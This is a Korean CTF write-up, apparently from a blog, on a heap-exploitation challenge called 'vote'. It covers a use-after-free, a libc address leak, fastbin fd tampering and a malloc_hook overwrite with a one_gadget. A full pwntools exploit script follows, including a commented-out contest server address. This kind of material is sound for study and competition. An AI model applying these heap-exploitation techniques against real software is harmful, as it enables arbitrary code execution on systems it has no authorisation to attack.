문제 분석
1. Cancel 시 free 함수가 두 분기로 나뉘어 사용되는데, 한 조건에서는 free 후 포인터까지 0으로 초기화 시켜 주지만, 다른 한 조건에서는 free 후 포인터를 초기화 하지 않아, dangling pointer가 생긴다.
2. Double free를 감지한다.
3. Vote 기능으로 heap chunk의 fd에 위치하는 값을 1씩 올릴 수 있다.
4. Vote 기능을 사용할 때마다 thread가 생성되는데, thread 생성 수의 제한이 있으므로 Vote를 사용할 수 있는 횟수의 제한이 있다.
시나리오
Memory leak
free 된 chunk를 사용할 수 있으므로, free 된 chunk의 fd, bk를 참고하여 memory leak을 수행한다.
unsorted bin이 main arena에서 할당받는 것을 이용하여, unsorted bin size를 가진 chunk 두 개를 할당 후, top chunk와 먼 쪽의 chunk를 해제한 뒤 Show 기능을 이용해서 leak을 수행한다.
[ memory leak ]
Allocate fake chunk
thread때문에 Vote 기능으로 올릴 수 있는 count 의 수는 한계가 있기 때문에, free 되었을 시에 생기는 fd에 값을 더하는 형식으로 count의 부담을 던다.
fd만 조작할 수 있기 때문에, single list로 연결되어있는 fastbin을 이용한다.
[ free된 chunk들 1 ]
[ free된 chunk들 2 ]
세 개의 적당한 fastbin size의 chunk를 할당하고, 차례로 free 한다. 단, 두 번째 chunk에, 할당할 주소를 fd의 값으로 가지고 있는 fake chunk를 만든다. 여기서는 malloc_hook을 덮을 예정이기 때문에, fake chunk의 주소를 malloc_hook - 32로 한다. size는 0x7f를 이용하기 때문에, malloc의 size는 0x50으로 한다.(할당 시 count, time으로 +16 그리고 헤더 정보 +16, 플래그까지 더하면 총 0x70됨.) 첫 번째 chunk는 처음 free된 fastbin의 fd는 0x0이기 때문에, 가림막으로 사용하기 위하여 꼭 필요하다.
[ controlled chunks 1 ]
[ controlled chunks 2 ]
Vote 기능을 이용하여, 세 번째의 chunk의 fd가 해당 chunk의 data영역에 만들어준 fake chunk를 가리키게 만들어준다. 기존 0x18c1070을 가리키던 fd가 0x18c1090을 가리키게 되었다.
Overwrite
위와 같은 작업이 모두 수행되면, 0x50 크기의 chunk를 할당 받는다면, 세 번째 -> fake chunk -> malloc_hook -32 순으로 할당받게 된다.
malloc_hook -32 를 할당 받을 때, + 32 위치인 malloc_hook 영역에 사용자가 값을 쓸 수 있으므로 이 곳을 one_gadget으로 덮어씌워, 다음 번 malloc 실행 시 one_gadget으로 rip가 튀게 만들 수 있다.
[ normal malloc_hook ]
[ overwritten malloc_hook ]
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | from pwn import * def Create(size, name): r.sendlineafter("Action: ", "0") r.sendlineafter("size: ",str(size)) r.sendlineafter("name: ", str(name)) def Cancel(index): r.sendlineafter("Action: ", "4") r.sendlineafter("index: ", str(index)) def Show(index, fl = False): r.sendlineafter("Action: ", "1") r.sendlineafter("index: ", str(index)) if fl == True: r.recvuntil("count: ") leak = int(r.recvline(),10) libcbase = leak - 3951480 success("libcbase : " + hex(libcbase)) return libcbase def Vote(index): r.sendlineafter("Action: ", "2") r.sendlineafter("index: ", str(index)) r = process(["./vote"], env={'LD_PRELOAD':'./libc-2.23.so'}) #r = process("./vote") #r = remote("47.97.190.1",6000) #context.log_level = 'debug' raw_input(">> START") ### memory leak ### Create(4000, "A"*16) #0 Create(4000, "B"*16) #1 Cancel(0) libcbase = Show(0, True) ### allocate fake chunk ### fake_address = libcbase + 3951341 #fake_address = 0x6020a5 #fake_address = libcbase + 3946173 pay1 = "" pay1 += "\x00"*8 pay1 += p64(0x71) pay1 += p64(fake_address) Create(0x50, "E"*16) #2 Create(0x50, pay1) #3 Create(0x50, "F"*16) #4 Cancel(2) Cancel(3) Cancel(4) raw_input(">>>") for i in range(0x20): Vote(4) ### overwrite malloc_hook ### #one_gadget = libcbase + 0x45216 #one_gadget = libcbase + 0x4526a one_gadget = libcbase + 0xf0274 #one_gadget = libcbase + 0xf1117 Create(0x50, "Z"*16) #5 Create(0x50, "A"*16) #6 raw_input("fianl**") pay2 = "" pay2 += "A"*0x3 pay2 += p64(one_gadget) Create(0x50, pay2) #one_gadget #7 r.sendlineafter("Action: ", "0") r.sendlineafter("size: ", "80") r.interactive() | cs |
와 진짜 역대급으로 고민하면서 풀어본 거 같다.
근데 앞으로는 진짜 바보같이 라이브러리를 착각해서 사용하지말자 ㅎㄷㄷ ㅠ 마음이 아프니께
'Write-up' 카테고리의 다른 글
[SECURITYFEST 2018] Mr.reagan (0) | 2018.06.03 |
---|---|
[SECURITYFEST 2018] everywhere writeup (0) | 2018.06.03 |
[Harekaze CTF 2018] Flea attack writeup v2 (0) | 2018.02.27 |
[Harekaze CTF 2018] Flea attack writeup v1 (0) | 2018.02.26 |
[CODEGATE 2018] Super marimo write-up (339) | 2018.02.20 |